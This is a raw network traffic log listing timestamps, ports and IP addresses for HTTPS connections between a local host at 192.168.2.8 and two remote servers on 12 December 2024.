Dec 12, 2024 16:47:22.495399952 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.495524883 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.495687962 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.495762110 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.495775938 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.495904922 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.495913029 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.495925903 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.495932102 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.496088982 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.497298002 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:22.510310888 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.510359049 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.510466099 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.510557890 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.510571003 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.510643005 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.510679007 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.510685921 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.510721922 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:22.510782003 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.510788918 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.520276070 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.520868063 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.521131992 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:22.521380901 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.521476984 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.521485090 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.521594048 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.521600962 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.521612883 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.521620035 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.521723986 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.537621975 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.537679911 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.537695885 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.537816048 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.537822008 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.537827969 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.537833929 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.538009882 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:22.538032055 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.538038015 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.538050890 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.545380116 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.545427084 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.545433998 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.545557022 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.545562983 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.545576096 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.545913935 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:22.579260111 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:22.723572969 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.728936911 CET	443	59186	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:22.797871113 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:23.114996910 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.130768061 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.130825996 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.130929947 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.130942106 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.130951881 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.131175041 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:23.147166014 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:23.461805105 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.471054077 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.471095085 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.471191883 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.471204042 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.471221924 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.471271038 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.471282005 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.471425056 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:23.485038042 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:23.800081015 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.805634975 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.805797100 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.805860996 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.805949926 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.805955887 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.806036949 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.806097031 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.806102037 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.806197882 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.806302071 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.806308985 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.806320906 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.806333065 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.806457043 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.806485891 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.806619883 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.806626081 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.806638956 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.806783915 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.806906939 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:23.806906939 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:23.826119900 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.826210976 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.826220036 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.826260090 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.826380968 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.826425076 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.826437950 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.826562881 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.826569080 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.826581001 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.826590061 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:23.831100941 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.831159115 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.831170082 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.831273079 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.831340075 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.831346989 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.831360102 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.831473112 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.831479073 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.831490993 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.832065105 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:23.840152979 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.840203047 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.840214968 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.840332031 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.840337992 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.840349913 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.840357065 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.840457916 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.840563059 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.840574026 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.840586901 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:23.852516890 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:23.880942106 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:23.890672922 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:24.149532080 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.205327034 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.209500074 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.209666014 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.209734917 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.209755898 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.209868908 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.210150957 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:24.211786032 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.211855888 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.211891890 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.211914062 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.211941957 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.225454092 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:24.540183067 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.545191050 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.545695066 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.545738935 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:24.545834064 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.545844078 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.545891047 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.545897007 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.545909882 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.546041965 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.546047926 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.546088934 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.546097040 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.546106100 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.546471119 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:24.560739994 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:24.892714977 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.922966957 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:24.945888042 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.946307898 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:24.946685076 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.946732998 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.946747065 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.946881056 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.946892977 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.946904898 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.946918011 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.947051048 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.947144985 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.947156906 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.947163105 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.947170019 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.947176933 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.947184086 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.947521925 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.947534084 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.947546005 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.947559118 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.947562933 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:24.968767881 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.968847036 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.968949080 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.968961000 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.969055891 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:24.969094038 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.969106913 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.969119072 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.969132900 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.969289064 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.969295025 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.969516993 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.969733000 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.969815969 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.969827890 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.969901085 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:24.969901085 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.969955921 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.969968081 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.970093966 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.970105886 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.970118046 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.982744932 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.982829094 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.982841015 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.982938051 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.982950926 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.982961893 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.982985973 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:24.983093023 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.983103991 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.983114958 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.983128071 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.994324923 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.994338989 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.994350910 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.994497061 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.994518042 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.994532108 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.994544029 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.994556904 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.994586945 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:24.994649887 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:24.994671106 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.005400896 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.005578995 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.005590916 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.005692005 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:25.006015062 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.006063938 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.006077051 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.006176949 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.006191015 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.006201982 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.006213903 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.017481089 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.017493963 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.017502069 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.017551899 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.017642975 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.017656088 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.017707109 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.017735004 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:25.017765045 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.017777920 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.017864943 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.029560089 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.029655933 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.029669046 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.029726028 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.029737949 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.029751062 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.029755116 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:25.029766083 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.029905081 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.029928923 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.029941082 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.040865898 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.040919065 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.041090965 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:25.113163948 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:25.113754034 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:25.114453077 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:25.285156965 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.428869963 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.428961039 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:25.431883097 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:25.432158947 CET	443	52307	172.64.41.3	192.168.2.8
Dec 12, 2024 16:47:25.432779074 CET	52307	443	192.168.2.8	172.64.41.3
Dec 12, 2024 16:47:25.433118105 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.433167934 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.433502913 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:25.433814049 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.433829069 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.433847904 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.433944941 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.433958054 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.433969021 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.433981895 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.434118986 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.434143066 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.434155941 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.434207916 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.434220076 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.434257030 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.434271097 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.434283018 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.434539080 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.434910059 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:25.469655991 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:25.514089108 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:25.777791023 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.832809925 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.843338966 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.843450069 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.843516111 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.843529940 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.843650103 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.843658924 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:25.843662977 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.843673944 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:25.875989914 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:25.882431030 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:26.183119059 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:26.197362900 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:26.201351881 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:26.201400995 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:26.201452017 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:26.201462030 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:26.201476097 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:26.201486111 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:26.201706886 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:26.231681108 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:26.350066900 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:26.561254025 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:26.665586948 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:26.668334961 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:26.668790102 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:26.668876886 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:26.668889046 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:26.669033051 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:26.669044018 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:26.669056892 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:26.669070005 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:26.669205904 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:26.669230938 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:26.669241905 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:26.669253111 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:26.669265032 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:26.669277906 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:26.669424057 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:26.669431925 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:26.669512987 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:26.706234932 CET	51057	443	192.168.2.8	23.44.203.13
Dec 12, 2024 16:47:27.013042927 CET	443	51057	23.44.203.13	192.168.2.8
Dec 12, 2024 16:47:35.055660009 CET	51057	443	192.168.2.8	23.44.203.13
